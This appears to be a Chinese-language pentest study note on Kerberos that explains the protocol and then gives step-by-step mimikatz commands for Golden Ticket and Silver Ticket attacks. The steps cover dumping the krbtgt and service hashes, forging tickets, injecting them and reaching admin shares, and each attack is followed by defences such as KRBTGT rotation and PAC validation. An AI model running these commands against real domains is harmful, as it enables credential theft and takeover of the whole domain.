Kerberos

一种网络身份验证协议,通过加密技术为客户端、服务端应用程序提供强大的认证服务。涉及三方认证:

1、访问服务的Client

2、提供服务的Server

3、KDC密钥分发中心,KDC又分为AS以及TGS。

image-20210923210616717

优点:

1、高性能,拥有票据后不再需要KDC参与

2、双向验证(最后一步)

3、跨平台。ST票据不包含身份信息,只包含确认信息。

缺点:

1、对称加密,安全性降低

2、集中式管理,对域控性能、安全性要求高

KDC默认安装在域控中,Client和Server为域内用户或服务。Client是否有权限访问Server由KDC发放的票据决定

金票和银票

黄金票据(留作后门)

使用ktbtgt哈希伪造域管账号进行域内任意主机攻击(20分钟内有效)。

过程:

1、在域控中获取ktbtgt的hash、sid

mimikatz.exe "lsadump::dcsync /domain:域名 /user:krbtgt" exit		# 抓sid

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit # 获取hash

2、生成黄金票据(域内主机)

mimikatz.exe "kerberos::golden /user:伪造的用户名 /domain:域名 /sid:user-sid  /krbtgt:ntlmhash值 /ticket:票据名称" exit

参数说明:

/admin:伪造的用户名

/domain:域名称

/sid:域的SID (不包括后3位)

/krbtgt: krbtgt 的 NTLM-HASH 值

/ticket:生成的票据名称(如:xx.tgt)

3、获取权限(域内主机)

清空本地票据缓存,导入伪造票据

mimikatz.exe "kerberos::list" exit 	# 查看本地保存的票据,观察client name

mimikatz.exe "kerberos::purge" exit # 清理本地票据缓存

mimikatz.exe "kerberos::ptt xx.tgt" exit 票据名 # 导入伪造的黄金票据

klist # cmd下查看票据

* 注意:票据20分钟内有效,过期之后可以再次导入

4、利用*

dir \\计算机全名\c$

注意:此处必须要用计算机全名或全名+域名,不能是ip。psexec等工具同理

防御:

1、限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机

这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。

2、建议定期更改KRBTGT密码

更改一次后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。

3、通过快速更改KRBTGT密码两次,使黄金票据失效

一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效,可以消除攻击者使用其KRBTGT创建有效金票的能力。

白银票据

通过伪造服务端的hash可以攻击伪造服务端。

前提:

1、域名称

2、域的 SID 值

3、域的服务账户的密码HASH

4、伪造的用户名,可以是任意用户名,一般是伪造administrator

5、需要访问的服务

过程:

1、用域管理员账号登录主域控,使用 mimikatz.exe 执行命令抓取hash和sid(在域控中执行)

mimikatz.exe "lsadump::dcsync /domain:域名 /user:krbtgt" exit		# 获取sid

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit # 获取hash

2、伪造票据。得到服务账户的 HASH 之后使用 mimikatz中的kerberos::golden功能生成白银票据TGS ticket。

mimikatz.exe kerberos::golden /domain:域名 /sid:SID值 /target:目标主机 /rc4:目标主机的HASH值(NTLM)/service:需要伪造的服务 /user:伪造的用户名 /ptt

参数:

/domain:指定域名

/sid:sid号(除最后一部分)

/target:目标主机计算机名或ip

/rc4:目标主机的hash(NTLM)

/service:需要伪造的服务

/user:需要伪造的用户名

/ppt:伪造了以后直接写入到内存中

服务类型表:

服务类型 白银票据对应的服务名
WMI HOST/RPCSS
PowerShell Remoting HOST/HOST
WinRM HOST/HTTP
Scheduled Tasks HOST
Windows File Share (CIFS–net use) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS/LDAP/CIFS

注:sid在域内任何主机都可以拿到

3、利用*

dir \\计算机全名\c$

注意:此处必须要用计算机全名或全名+域名,不能是ip。必须使用pstools中的psexec

注意:创建的服务票据智只能用于该服务的命令执行

防御:

通过开启PAC(Privileged Attribute Certificate)特权属性证书保护功能。开启PAC后,PAC会将client发送的票

据ticket发送给KDC,由KDC进行验证ticket是否有效,就可以使所伪造的票据无法进行利用。

在Server端开启的方式是更改注册表中的一个值,将

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

中的ValidateKdcPacSignature设为1

其他:

ADfind可以抓到sid(winserver2008、2012)